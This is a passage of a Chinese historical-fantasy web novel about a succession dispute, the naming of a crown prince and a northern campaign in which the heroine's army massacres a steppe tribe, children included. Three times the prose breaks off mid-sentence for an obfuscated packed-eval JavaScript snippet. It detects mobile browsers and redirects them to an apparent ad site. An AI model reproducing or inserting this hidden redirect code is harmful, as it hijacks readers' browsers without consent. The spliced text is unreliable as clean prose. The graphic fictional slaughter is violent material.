阊江朝廷风向已变,对承祎的称呼也从“陛下”变成“大皇子”,一为新帝和皇子,一为诸侯王太后,尊卑易位,不知多少人等着逮冯姮错处、向新帝示好。元旭不忍心冯姮落到如此境地,便私下找春羽说了当今局势。 冯姮的反应很平静。 直到迁宫当天,宗室及文武百官齐聚大庆殿,她在宝慈宫放了一把火,将前殿无数人引到宫道围观。她就那样站在烈火中,高声斥责新帝篡权夺位、承祎卖国求荣、宗室数典忘祖,所有人不忠不孝不节不义…… 众人被吓得一哄而散,生怕多听半个字。宫中潜火队立刻出动,到了宫墙外却被承祎的内卫拦住。 然后,这位不到十四岁的少年,神色平静地吩咐内卫钉死大门,再将通往宝慈宫的所有道路严格把守,不许任何人来救火。 元旭央求这个央求那个,见他们实在无动于衷,只好亲自上阵、一双细嫩肉掌被宫门灼得冒烟。元承祎大惊失色,只好吩咐潜火队救火、宣御医替元旭疗伤。 折腾大半天,冯太后终于想通,坐上去昇阳的楼船。不偏不倚,承祎将卧房定在她隔壁,一路上十分配合,她要抹脖子就递刀、她要上吊就送白绫、她要绝食就倒鸩酒……这对祖孙闹了一路,终于全须全尾迁回旧宫。 冯姮再次被圈禁在昇阳宝慈宫,封锁门窗时,她满眼怨毒,元承祎神色平静、却有盖不住的失望。 承祉与冯姮感情深厚,好容易压住对兄长的恐惧,替祖母求了几句情,被承祎一同打包丢进宝慈宫。 元旭提及此处,眼中忧色浓重,欲盖弥彰补了句:“端王殿下好歹是陛下长子,若真……恐污了清名。” 舜英唇角抽搐几下——人人私底下都传承祎狠辣果决、刻薄寡恩,清名这玩意儿,他有吗? 想了半晌,她移开话题:“这事等不了几天自会解决,如今大势已定、你身居要职,我希望这是最后一次!” 语气很严厉,眼神却很温和。 元旭松了口气,躬身目送她走远,眼神逐渐清澈,唇角不自觉上扬。 她还是他熟悉的那个人,永远都是。 . 去年回洛京后,舜英一直住上书房后的昭阳殿,昭阳殿正南是宴客的玉明殿。这些天年节,承祎带承徽住玉明殿东侧棠梨宫,苻隽住西侧麟趾宫。 苻洵回昭阳殿时,前殿围了一堆人。承祎正小心翼翼从傅母手中接过襁褓,跟知蕤大眼瞪小眼,知蕤眉开眼笑凑过去啵唧一口,承祎顿时僵住…… 苻洵暗叹,跟亲爹学什么不好、学自来熟。 但是,承祎平静眼眸泛起波澜,像是春冰消融。注视着知蕤的笑靥,罕见地往上翘了翘唇角。 承徽笑眯眯地说:“皇兄就是胆小,我都说过了,阿蕤不怕生、很好带的。” 舜英和苻洵陷在奉宁时,知蕤一直由褚秋水照管,但每每散朝、承祎总要拉着承徽出东华门,先去鹤雪别苑瞅一眼承祯,再去邶风别苑看一看知蕤。 承徽开朗,对这个漂亮的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148366|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹爱得跟心尖肉似的,时不时去逗弄,承祎却只在童车前不近不远看着。 起初,知蕤被傅母抱着时,苻隽在一旁摇着拨浪鼓,又从桌上花瓶掐了一朵梅花,放到知蕤手里捏着耍。可等到承祎接过襁褓,苻隽就放下拨浪鼓,面带微笑,不动声色往承祎面前凑近几步,臂膀紧绷蓄势待发。 苻洵了然于胸,命傅母抱知蕤回卧房歇息,笑吟吟走过去:“大殿下在棠梨宫住着可还习惯?” “请父亲安”,承祎欣然一礼,“阊江的绮丽奢靡,洛京鲜亮明朗,各有盛景。” “父亲”二字入耳,苻洵面皮抽搐了几下,若无其事道:“若喜欢,不如长住。” 承祎转向苻隽:“隽哥哥以为洛京如何?” 苻隽忙滔滔不绝背出大篇溢美之词。 承祎静静听他说完,眉眼弯了弯:“喜欢的话,在这儿多住一段时间,可好?” 苻洵心头滑过一丝森冷,端着茶杯的手猛然一颤。然而下一刻,苻隽眼眸都亮了,转向他:“叔父,可以吗?” 倒让苻洵感觉自己有些小人之心,于是温声道:“有何不可?” 他话音刚落,承徽立即欢喜地笑起来,向他敛衽一礼后,迫不及待招呼苻隽出门,边走边喋喋不休诉说洛京哪里好玩。 苻洵听了半晌、听那笑声渐行渐远,眉宇逐渐浮起笑意,见桌上茶汤凉了,重新往壶里灌上沸水,命人取来新的茶杯替承祎斟上。 承祎并未落座,静静注视他片刻,忽然躬身长揖:“多谢父亲。” 苻洵脸色未变,眼里透出淡淡温暖:“我不着急成婚只为服丧,莫要多想。” “儿臣遇到过不少人,可比你聪明的没你通透,比你善良的又没你聪明”,承祎扬唇一笑,明朗得像如释重负,“你在我心里永远替代不了父王,但我如同敬重他……不,比敬重他更敬重你。不是因为你与阿母,仅仅因为你当得起。” 苻洵笑了笑,没说话。 承祎腰身更低,以极其恭敬的姿态倒退到门口,抬头正色道:“多谢父亲信重,儿臣必不让您失望。” “我不是你爹,以后换个称呼罢,反正亏不了你什么”,苻洵终于逮着机会,诚恳地说,“管我叫父亲的人很多,不缺你一个。” 那张脸对着他叫爹,他怎么听怎么别扭。 承祎神色肃然:“礼不可废。” 苻洵唇角抽搐:“……” 当夜,苻洵与舜英在静室品茶时,忽然开口:“姐姐,立储吧。” 舜英没说话,屋内安静得可怕,他又缓缓补充了:“好了伤疤忘了痛,人之共性。趁着他们还没全忘,早定早安人心,早断绝那些念想。大雍新立,承受不起国本之争。端王年长,在这之前已经当了九年国君,聪慧、刚毅,有才能有手段,是储君不二之选。” 舜英垂眸沉思许久,轻叹一声:“我迟疑的,从不是他的才能和手段。” 苻洵了然一笑:“若论心性,姐姐更不必担忧。” . 咸宁元年正月初十,承祎承徽兄妹改姓褚,从元氏族谱除名,写入褚氏宗谱玉牒。次日,随褚秋水回上垣祭拜祖祠。 正月十六大朝会,咸宁帝正式下旨,册封长子褚承祎为皇储。 “自古帝王继天立极、抚御寰区,必建立皇储、懋隆国本,以绵宗社无疆之休。储贰之重,式固宗祧,一有元良,以贞万国。皇长子承祎,日表英奇,天资粹美,孝惟德本,周于百行,任惟任重,以安万物。可立为皇太子,所司俱礼,以时册命。” 女官清朗的宣读声响彻北辰殿,苻隽眼里漾起赞赏笑意,从奉宁迁来的部分臣子略略失望,却也只是隐约、更多是认命的笃定。 苻洹和苻洵同时松了口气。 224. 悲欢难两全 “多亏陛下动作快”,散朝后,苻洹边走边与苻洵小声议论,“再晚些时日,别说隽儿,就连我也压不住那些人。” 苻洵笑了笑没说话,沈绍宗头痛地嘟囔:“登基典礼后,我就听一帮文官私下在引经据典,想论一论皇太子和小公主谁是嫡系正统。” 其实,那些人论的是,元旻和苻洵这二人,一个是原配,一个是共同打天下的皇夫,谁更配担当中宫。 “这世上的正统,若无拳头和能耐作保,全是空谈”,苻洹摇摇头,“大雍能兵不血刃立国,皇太子功不可没,若因私情废长立幼、才会寒了功臣之心。才十四岁就有如此手段魄力……确实没有比他更合适的人选了。” 他突然顿住脚步,只见回廊尽头,一人静静伫立,正是他们方才谈论的承祎。 十四岁少年,满脸与年龄不符的老成持重,待沈绍宗和苻洵离去后,对苻洹躬身长揖:“晚辈有一事,想与武安王商议。” “议一议,能否让晚辈成为武安王的东床快婿?” 正月十八,皇太子奏请咸宁帝,从苻洹膝下几女中选一位与自己订婚,待二人成年册为储妃。 咸宁帝首肯之后,褚承祎在朱雀门外指洛川起誓,大雍此后世世代代的帝王,将同时流着褚、元、苻三姓血脉。因立储、册皇夫等大事在朝中掀起的波澜,迅速消弭无痕。 . 二月二日江上行,东风日暖闻吹笙。 长济渠与长流川交汇处,春冰消融不久,寒凉和温热的水流无声融合,在波面蒸起淡淡烟霭。 东方刚显出鱼肚白,渔夫和艄公穿上轻薄春衫,打着哈欠推开房门,只见一艘古拙朗阔的楼船停在西陵渡。 先下船的是二十来人,一身黑色短打,踩在跳板上没发出一丝声响。随后是两女两男一少年,走在前的一男一女看起来三十多岁,容貌甚美,周身却笼着一层凛冽之气,令人不敢直视。 木城山绿树长青,顺谷底小径走到深处,霜白梨花浮在新绿之上,像山巅将融未融的积雪。舜英指了指近处刀片一样的山崖,对苻洵说:“他就在那,崖上有个山洞,平时都是桑珠给他送饭。” 苻洵抬头注视半晌,深吸一口气,缓缓抬足走向崖底。 舜英带着其他人,踏上梨林小径,走到树荫下那块熟悉的方石下,让承赟和姜娥守在此处,单独带承祎走向花荫深处。 承赟看二人背影消失,才悄声嘀咕:“怪不得冯太后那样骄傲的性子,被圈禁了还能撑着不寻短见。如此大事、能瞒这样久,陛下的嘴比六叔还严实。” “放前几年是大事,现在不算了”,姜娥露出一丝凉薄笑意,“三年前他即便伤了残了,只要让天下人知晓他还活着,露一露面、说几句话,冯太后必会有所顾忌,三军也不会军心大乱,朔北和东原道何至于此?” 承赟垂眸思索半晌,苦笑着摇头:“四叔这人太要强、太追求完美,成于此也败于此。如今大势已定,他也算求仁得仁,只是不知太子那性子,又说出什么好话来。” “祖母燕啄王孙,父子俩还有什么好说的?”姜娥唇角笑意愈发讥诮,“确实求仁得仁,如今天下已没有将士和百姓需要他拯救了,他爱躲哪儿躲哪儿。” 承赟喟然长叹:“四叔也很不容易,他经历的那些事放一般人身上,不疯也要去半条命。” “这些年,谁又过得容易了?”姜娥冷笑,“不说龙骧军和三郡二州,只说陛下和太子这些年,哪个不比他……” 林中传来轻快的谈话声,姜娥忙止住话头,姨甥齐齐在路边跪下,拱手至地、头也至地:“吾皇万岁!” 只见舜英挽着一名红裙女子、身后跟着个男孩,红裙女子生得娇俏、眼瞳清澈透亮,边走边上下打量舜英、叽叽喳喳说话。 “你额头这两道疤怎么回事?很疼吧,十字疤诶……是不是冯栩害的!” 舜英懊恼地摸了摸额心伤疤,其他疤都淡化得差不多,唯独额心这个十字……隔着半丈就能看到。 桑珠也心疼地伸手去摸,愤愤骂了句:“真是个疯子!” 舜英笑着摇头:“用花钿遮住就成。” “花钿好看,妆容也好看,不是说以前不好看……是瞧着不太一样了”,她满眼赞赏上下打量,“以前更娇美,现在瞧着更威风了!” 舜英走到承赟旁边,轻声说了句“免礼”,姜娥与承赟恭生拜谢后,站起身来。 桑珠更讶异:“你不当王后了,他们还向你下跪?” 叶儿悠悠插嘴:“额吉,你都不看官府公文吗?年节时候西陵城到处都贴着,姑姑现在可是中原最大的王。” “你?王?”桑珠惊愕地睁大双眼,一时不知如何应对。 “算是吧”,舜英从容地笑笑,认真盯着她双目,“冯梨,你愿不愿意回到北宛,也成为大草原的王?” 桑珠难以置信地问:“我?” 舜英反问:“你也姓冯,怎么就不能作大草原的王?” 桑珠迟疑道:“可我是女人。” “女人怎么了?我不一样是女人?”舜英脸上绽出沉静笑容,眼神坚毅,“凭什么称王称帝只能是男人的特权?” 不等桑珠回过神,她转身看向苍苍皇天、绵亘远山,缓慢地一字一字道:“千年前,大翊开国之君寥天率七千羽民渡海而来,再以自身血肉献祭天地、使子民有容身之地,却只有凰羽寺那面石壁记得她的功绩,史书只写她是高祖元穹之妻,再含糊其辞称一声‘女王’。” “自她以后,大翊王族世代姓‘元’,虽民风开放、女子也可出将入相,轮到宗庙承祧却仍优先男子,除非五服之内实在寻不到能凑合的男子,才会看一看出类拔萃的公主,他们称继位公主为‘女王’。” 她神情讥诮反问:“为什么只有女王,没有男王?” 姜娥心神一凛,沉声道:“因为世人皆认定,王,理所当然应该是男子。” 舜英又反问:“为什么世人皆认定,王,应当是男子?” 姜娥心领神会,娓娓道:“因为生育子嗣,男人不费吹灰之力,女子却要承受十月怀妊之苦、再去鬼门关走一遭,就连寥天陛下也不能幸免。” 她眼中透出悲哀:“女子因生育而孱弱,因孱弱而举不动刀兵,若要像男子那般那般征战沙场,受三军拥护爱戴,需要付出成千上万倍代价。可军队才是力量的根本,一国之君若只会下棋布局、无力掀桌,便会时刻被多方势力束缚裹挟。” 她顿了顿,轻嗤:“那些享受女子的牺牲和付出,去稳固江山的男子,再反过来向世人宣告,女子本弱,最高只能位及宰辅,无法承担江山社稷之重!” 舜英将目光从姜娥身边移开,再回到桑珠身上,声音逐渐坚定:“可是,总有人幸运些、努力些,愿意付出更大代价、承受更多磨练,可以走出妇姑勃谿的内宅,走到风起云涌的朝堂,走向八方军营、千里边疆,如崔夫人、姜夫人、云司农……她们若得机缘登临九五,较之历代男王,又差在哪里?” 桑珠听得很认真,眼睛发着亮、薄唇紧抿,沉思良久。 舜英眼神恢复坚定温柔:“冯梨,你可愿一试?” 桑珠想了很久,目光慢慢变得决然:“跟着你,我愿意去试试!” 她拉起叶儿,学着方才姜娥和承赟的样子,稽首行礼:“北宛十七王女冯梨、二王子冯叶,愿效命吾皇!” 下午,西陵渡的行人三五成群,零零散散各自叙话。 冯梨带着叶儿向元旻辞行后,先行走向楼船,承祎目送叶儿背影,勾了勾唇角:“无心插柳柳成荫,多谢父王悉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153155|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教导冯叶。” 元旻神色有些不自在:“很抱歉,这些年没护住你们和……”他说不下去了,转头瞥向楼船,只见两袭红衣如燃烧的火焰,苻洵和舜英被人群围在中间,笑吟吟说着什么。 “乱世之中,如我们这般流离失所的很多,大家都挺过来、还好好站在这,就是最大的幸运”,承祎平静地说,“新的时代已经开始,往后,再不会有那么多颠沛。” 元旻愣怔注视着他:“你当真……没有其他要说的?” 从父子重逢第一面,承祎就很平静泰然,不怨不恨,甚至会时不时关怀宽慰他几句。那笑容倒像一根根刺,扎得他隐隐作痛。 他们最需要他的时候,他身躯残缺,他曾经的人生完美无瑕、却被世事拆得七零八落,他不愿直面如此惨淡。后来,他们齐心合力自救,走出一条他做梦都不敢想的康庄大道。 没有人怨他恨他,没有人再期待他,也没有人再需要他。 他们需要他的时候,已经过了。 承祎思索半晌,轻声说:“祖母还在宝慈宫,她撑着一口气,只为等你回去。” “难为你们了”,元旻唇角掠过一丝浅淡笑意:“我会去昇阳处理好此事。” 承祎欲言又止,犹豫许久开口道:“往事如流水,父王不要过分萦怀……阿娘和六叔都对儿臣说过一句话,儿臣至今深以为然。” 他看向楼船上两袭红衣,悠悠漫声道:“天道有常,不为尧存,不为桀亡。为君王者,当海纳百川,受得了光亮、也忍得了阴影,容得下清流、也容得下污垢,担得起荣耀、也耐得住失败。无论何时都应放眼天下,不能过份悲悯自己。” 元旻听得一愣,心里涌出几分期待。可恍惚的刹那,承祎却只对他躬身一礼,转过身,头也不回地走向楼船。 承赟一直候在岸边,有点遗憾地看了看承祎背影,走过来作了个“请”的动作:“六叔已在昇阳安排好下榻处,四叔请让侄儿护送一程。” 元旻感激地颔首,随承赟登上帆船,与楼船并行于永济渠之上。 两岸草色如茵、散落着缤纷各异的野花,春天到了。 他不禁抬头,看向楼船甲板,那里人影攒动,三五成群各自闲聊着什么。 蚩越年近八十,依然身板健朗,背不驮气不喘,正满面微笑跟承祎说什么,叶儿乖巧地跟在承祎身后。桑珠也在同姜娥说笑,而站在船头的那两人并肩而立,正笑盈盈指点沿途风物。 他们都穿红色袍服,花纹材质像由同一匹雨丝锦裁成。方才分别时,元旻嗅到二人身上熏香,同样甘甜醇厚、像极他们鲜亮的天性。此时,他们的动作幅度、甚至连微笑的弧度都相似。 他们才是天造地设的佳偶。 恍惚间,元旻像回到那个除夕夜,他站在墙内梅树上,眼睁睁看墙外红梅怒放、看他们相见欢、看他们笑容恣意张扬。 蹉跎半生,又回到原点。留不住,就是留不住。 承赟默了许久,试图转开话题:“等到宛平彻底解冻,陛下准备让太子监国,她亲自挂帅和宸王一起北伐。” 元旻愣了片刻,才反应过来,承赟说的是舜英和苻洵。 承赟发现绕不开那两人,更觉尴尬,于是继续沉默,却听元旻失神喃喃:“原来,我才是那半世的纠葛。” 二月初十,元旻的帆船在龙门渡悄然靠岸,元璟和元旭陪他们回到昇阳。元旻从宝慈宫接出承祉,他已被长兄吓得有些精神失常,只扑进元旻怀中簌簌落泪,忽而又闹着求父王杀了生母长兄、替自己和祖母报仇。 元旻亦对冯姮避而不见,带着承祉自囚于兴庆宫,自此深居简出。 元氏宗族有善于钻营者,想方设法去找他,统统吃了闭门羹。时间一长,那些不安分的指望,也逐渐淡了。 225. 白刃血纷纷 咸宁元年二月十八,第一道发兵诏令从洛京长庆宫颁发。 七天后,南宫羽、谢朗、姜娥分别从北卢郡、朔门关、怀戎郡出发,率三路重骑为先军,开始清算草原二十三部。所有支持过冯栩的单于及其族人、伴当、亲兵皆被捆上马背,驱赶在前方、地毯式铺散开来示警开路,若地下埋有石脂,顷刻即燃。 此举虽残忍,却为后方中军清出一道安全的行军大道。 随后,苻洹率龙骧军自西向东,元承赟率三郡骑兵自东向西,褚舜英和苻洵率朔宁、临梁骑兵北出朔门关。 大雍开国以来第一次北伐就此铺展开盛大序幕。 三月二十,耶拉部的牧草刚冒出淡青的茬,马群饿了一个冬天,腹侧都扁得凹陷下去,背上清晰可见根根肋条。牧民们卷起帐篷托在辎车上,挑选最健壮的马匹,又将马厩和羊圈里的牲畜放出来,沿祖上传承的放牧路线慢悠悠移动。 倏尔,整块大地以奇特的频率在震颤,他们听到了密集的马蹄声,疾风挟干燥的沙尘铺天盖地,马匹成千上万,潮水般漫过山丘和低凹,在茫茫草原上席卷而来。 牧民条件反射地转身就逃,边逃边用北宛语喊:“翊国人!翊国人打来了!” 耶拉部单于和巴图鲁支持冯栩,早被先军屠戮过一次,然族中青壮仍在,听到呼救纷纷抄家伙上马,集结在一起。单于和巴图鲁倒下了,还有千千万万个勇士站起来,为大宛的荣耀而战。 部落巫师是个六旬老者,站在帐篷前眯缝眼睛看着越来越近的骑兵,深红的旌旗在风中翻卷,却不是他熟悉的那个“翊”,而是另一个笔画更多,更繁复的字。 但是,领头那一男一女,就算烧成灰,巫师也能认出。 十年前的场景记忆犹新,就是这对男女率领千军万马踏平了耶拉部,那女人使得一手好刀好鞭、跟狼主打得不相上下,却突然捂住眼睛后退,那男子紧随其后、刀更是快得挥出重影,若非狼卫救援及时,狼主只怕当时就要葬送。 比狼主更狠辣的恶魔和女罗刹…… 巫师的身躯因愤怒而颤抖,瞳孔因恐惧而张大,挥舞双臂、破烂的袍袖在空中飞舞,他声音很嘶哑、喊得撕心裂肺:“耶拉部的战士们——” “逃啊——”他竭尽气力,从喉咙滚出的字眼却截然相反。 已经来不及了。 成千上万骑兵顷刻而至,将整个部落围了起来,开始驱马绕着他们转圈,越绕包围圈越小,逐渐将他们的马匹和青壮年围得密不透风。 领头女子对身后一位红裙女子低声说了几句,红裙女子驱马上前,用北宛语高喊:“我乃大宛第三十六代汗王的十七王女桑珠殿下,身后是三十八代汗王冯彬之子冯叶,给你们两条路!” “臣服于我们,或是——倾家灭族!” 部落青壮顿觉奇耻大辱,有人高声嗤笑:“要我们臣服于女人和小孩?” 红裙女子瞥了一眼领头女子,像是获得某种力量,解下背在腰后的长弓,羽箭倏然劲射而至,不偏不倚射穿那嗤笑男子的喉咙。那男子难以置信瞪大双眼,指向红裙女子,张了张嘴,却一点声音也发不出,便抽搐着倒下。 红裙女子手颤了颤,旋即挺直脊背,声音也比之前更稳:“臣服,或者死!” 部落青壮年哗然,脸上写满愤怒和鄙夷,纷纷斥骂起来,群情激愤叽里咕噜不知在吵什么,一边吵一边反身拔刀。 叶儿好奇地问:“额吉,他们在说什么?” 桑珠唇角抽搐,满脸绯红掩住他耳朵:“小孩子别瞎打听。” 苻洵与舜英对视一眼,苻洵抬起胳膊、用力往下一挥。 万箭齐发! 又一批青壮年惨叫着倒下,或是即刻毙命、或是哀嚎着在地上乱棍,刀也纷纷坠落到地上,叮叮当当不绝于耳。 桑珠第三次高喝:“臣服,或者死!” 喊完这遍,她胆子又壮了些,向身后亲兵挥了挥手,过了片刻,亲兵端来一只精美的铜香炉,炉子里插着根线香,小指粗细、长约七寸,已燃了一小截。 无需赘言,那柱香的意味着什么,所有人都懂。 像被无数双手掐住脖子,所有喊声同时停止,现场顿时鸦雀无声,所有人你看看我、我看看你,眼里有愤怒、有不甘、有不安。 对面的人反而松弛下来,苻洵和舜英在漫不经心说笑,桑珠笑容可掬摸着冯叶的脑袋,冯叶愤懑抗议“再摸就长不高了”。 他们身后的骑兵也纷纷开始谈笑风生,气定神闲得完全不像是对敌。 时间慢慢过去,耶拉部青壮的愤怒逐渐发酵成焦躁,不安逐渐酝酿成恐惧。 苻洵忽然转过头问:“时候到了没?”语气轻松随意,像是在问早饭吃什么。 桑珠淡淡道:“还有点。” 无数双眼睛立即死死盯向那根线香,只剩半寸,殷红的火星缓缓下移。耶拉部青壮眼里恐惧加深,一部分人双腿战战、蹬住马镫打算下马,另一部分人则握紧手中的刀。 冯叶突然好奇地凑到香炉前,鼓起腮帮子,“呼——” 在一片倒吸凉气声中,线香迅速燃尽。 苻洵、舜英、桑珠:“……” 舜英尴尬地咽下一口唾沫:“叶儿,以后不许在这种时候调皮。” 耶拉部青壮,大部分曾作为散骑,跟随冯栩肆掠中原,能从虐杀中得到快乐。然而,见到这样对生死毫无情绪的漠然,还是齐刷刷觉得汗毛倒竖。 这才是一群真正的疯子! “噗通”、“噗通”……□□砸到地面的络绎不绝,已经有几个胆小的熬不住,从马背跌下来跪地大喊:“我臣服!” 这次,用的是中原话,虽然生涩、却很清晰。 受到这惊惶哭喊的感染,其余人也有些摇摇欲坠,“臣服”的喊声络绎不绝。 “晚了”,苻洵淡淡地说,真诚地叹了口气,“陛下,这可怎么是好?” 舜英神色平静,也很真诚地叹了口气:“晚了就是晚了,‘信’乃大雍立国之本。” 然后,她满脸遗憾对那些涕泗横流的人说:“下辈子,记得做个人,别做畜牲。” 随着她最后一个音节落地,像下了一阵急促的雨,箭簇从四面八方射来,密密麻麻在人群里穿梭,交织成无数张锋利的天罗地网。 羽箭刺破长空的呼啸,箭簇没入血肉的声音,金属刮擦骨骼的声音,鲜血喷涌的声音…… 屠戮,纯粹的屠戮。 放箭之前,苻洵忽然不动声色驱马走了几步,将冯叶挡在身后。同时,舜英悄然握紧桑珠的手,那手冷得像冰块、不由自主打着颤。 渐渐地,怒骂声、求饶声、哀嚎声逐渐稀少下去,营帐间寂静如死。 舜英盯着满地尸骸和鲜血出神,搓了搓桑珠的手:“怕吗?” 桑珠喉咙发干,迟疑地点点头。 舜英笑了:“再害怕,你的背也很直、你射箭的手没有发抖,你已经比很多人都勇敢。” 她看向南方,怀想道:“我第一次杀人,吐了几天几夜,什么都吃不下。” 桑珠结结巴巴问:“你那时候才多大?” 舜英声音很平静,带着沧桑:“十六岁。” 冯叶小心翼翼从苻洵背后探出头,只瞥了一眼,喉咙立刻发出咕噜闷响。苻洵反手遮住他眼睛:“想吐就吐吧。” 冯叶俯身吐了几口,羞得满脸通红,竭力挺直脊背:“我……我不怕,我要做最勇敢的武士。” “叶儿,你只是个十岁的孩子”,苻洵轻柔地替他抚着背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156742|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“面对死人,会害怕才是人之常情。” 冯叶问:“姑姑说,以战止战,虽战可也……叶儿不想这么没用。” “可你只是个孩子”,舜英摸了摸他的头,温声说,“我们大人征战沙场、伏尸百万,正是为了像你这样的孩子,不必勇敢善战、也能生活得很好。” 耶拉部聚集起来的首批武士被屠戮殆尽,牧民们藏在马厩或羊圈里,也被拉出来,聚集在帐篷中心空地上。 女人和并不强壮的男人、匍匐着跪在地上,爬行到桑珠脚下,用额头触碰她的鞋背。桑珠眼中露出恻隐,又转头看向舜英,舜英眼皮都未掀动。桑珠忐忑数次,好不容易硬下心来,却只见一位老汉手脚并用匍匐过来。 那老者背驮得厉害,须发灰白潦草,在风里颤抖,每爬行一步、都要咳喘几下,终于跪在桑珠脚下,颤巍巍用额头去触碰她脚背。 桑珠心下不忍,弯腰伸手去搀扶。 惊变起于须臾,坐在一旁的舜英闪电般舒臂,雪白长鞭像灵蛇、在空中划出一道凌厉弧形,那老者以不符年龄的敏捷向后闪开,“叮”,一痕寒芒从他袖间摔落,嗑在石头上一声脆响。 桑珠捡起刀,难以置信地看向那老者:“不打仗,不好么?” 老者狠狠啐了一口:“卑鄙懦夫!大草原的儿女,永不为奴!” “你们永不为奴,我们就活该被奴役、被虐杀?”舜英唇角勾起凉薄笑意,眼神冰冷似是没一丝情绪,向身后谢恬挥了挥手,“推一架车过来。” 苻洵一震,忙握住她的手,那手冷得像霜雪、正因激愤而发抖,他被冰得一颤,顾不得众目睽睽,急切低唤:“姐姐不要……让我来,你不要弄脏自己的手……” 他看到她眼圈有点红,似有泪光一闪而逝,却不过须臾。 就像,只是被风沙迷了眼。 “没关系,都一样”,舜英扯起个比哭还难看的笑,“阿洵,我说过,万人、十万、百万的杀孽,你当得,我也当得!” 然后,她转向桑珠:“看好了,小人畏威不畏德,和平需要在建立斗争之上。” 耶拉部数万男丁被驱赶到空地上,身高过车轮者,斩! 有孩童瞪起满眼仇恨,死死盯着坐在前方的数人:“等我长大……” “你长不大了”,舜英不惧不避与他对视良久,似想起什么,冷笑着一字一字轻声说,“把车轮平着放!” 瞬间,不止耶拉部被杀剩的妇孺,苻洵和谢恬也惊恐睁大了双眼。 三月二十下午,咸宁帝征耶拉部,族中男丁高过车轮者尽皆受戮,孩童中有不臣者、也被就地斩杀,女人的哭嚎震天动地,剩余孩童尽皆被母亲捂住嘴、死死按在地上,臣服于大雍。 下午,耶拉部所有帐篷被倒上火油,烧得干干净净,侥幸生还的妇孺四散逃亡。 五天后,咸宁帝凶戾之名响彻大草原。 所有牧民、勇士、老人、妇人、稚子众口相传:中原诞生了一名女罗刹,所有国君和将士都匍匐在她脚下,她不但比狼主武艺高强,还比狼主更凶残更没人性! 她居然把车轮平着放! 耶拉部被犁庭扫闾的消息,像风一样传遍二十三部,西线苻洹、东线元承赟几乎没受到多大阻力,不少部落只要望见深红旗帜翻卷着“雍”字,阖族健全的男丁纷纷弃家出逃,丢下满部落老弱妇孺。 于是,将百万妇孺分散迁移,至郅阳、北卢、怀戎、广宁、抚恩等边镇…… 四月底,草原二十三部的聚居地、子民,同他们往昔的威名一样,俱已烟消云散。 咸宁帝砸碎柘枝城的城墙、门楣。率铁骑踏上这片空荡荡的焦土,在王宫废墟之上搭起营帐,白色帐篷一朵朵像浮在草海上的浪花,迤逦数十里、一眼望不到边。 226. 光风霁月 “宸王殿下,我只找到这么多酸枣仁和柏子仁。”谢恬站在帐篷外,扬了扬手里的布袋。 苻洵忙迎出去,打开布袋看了一眼:“够了。” 迎着夕阳晚照,他在帐篷门口支了个小炉,将陶锅洗了又洗,旁边木桶里的水澄澈沁凉,是他特意去阿茹娜雪山顶挖的。掂了掂药材分量,斟酌着增减几粒丢进陶锅,加雪水煨煮。 苻洵要煮一碗浓浓的安神汤。 舜英歪坐在床榻上,疲惫地撑着头,苍白小脸洗净铅华,眼底晕着淡淡青灰、时不时打盹——她已经半个月没睡过好觉了。 并非完全睡不着,只是睡眠很浅、稍有响动就会惊醒,饮食也一天不如一天。天一亮,她准时醒来,如常用完膳食,喝参汤强打精神,去中帐议事。 参汤越喝越频繁,越熬越浓。 “所以,你其实也难受?”桑珠心疼地替她揉脑袋,“听老先生说,揉揉这儿,头疼会好很多。” “几十万人命,谁心里会好受?”舜英笑了笑,眼角忽挑出一丝促狭,“可别让外面那群人看出颓势。” 桑珠若有所思地点头,又瞄了一眼苻洵,无不艳羡:“在中原,都是男人洗衣做饭照顾妻子?” 舜英笑吟吟弹了下她脑门:“有这闲工夫,不如好好琢磨正事。” 桑珠吐了吐舌头:“那你借我几个护卫,轻身工夫好的,我晚上再去看看,指不定能发现些不一样的。” “这倒是,晚上灭灯后有些东西更清晰,”舜英收了笑意,“借你一半,多找找。” 桑珠轻快往外走:“那我先回去睡一觉,灭灯再出去。” 暮色慢慢罩过来,苻洵舀起滚烫的安神汤,又滤了几遍药渣,放得温热再端进去。 她今天很听话,让亲兵烧了一大桶热水,舒舒服服泡了个热水澡。 苻洵等她沐浴完毕,将她湿发擦得半干,再滴几滴桂花油在掌心化开,从上到下、轻轻涂抹在她发梢。然后用梳子慢慢理顺,渐渐梳出漆黑的、绸缎般的光泽。 “头发还没干透,先在凭几上靠着,等干透了再睡。”苻洵端过安神汤,放到床榻边小桌上。门口亲兵通报,元承赟求见。 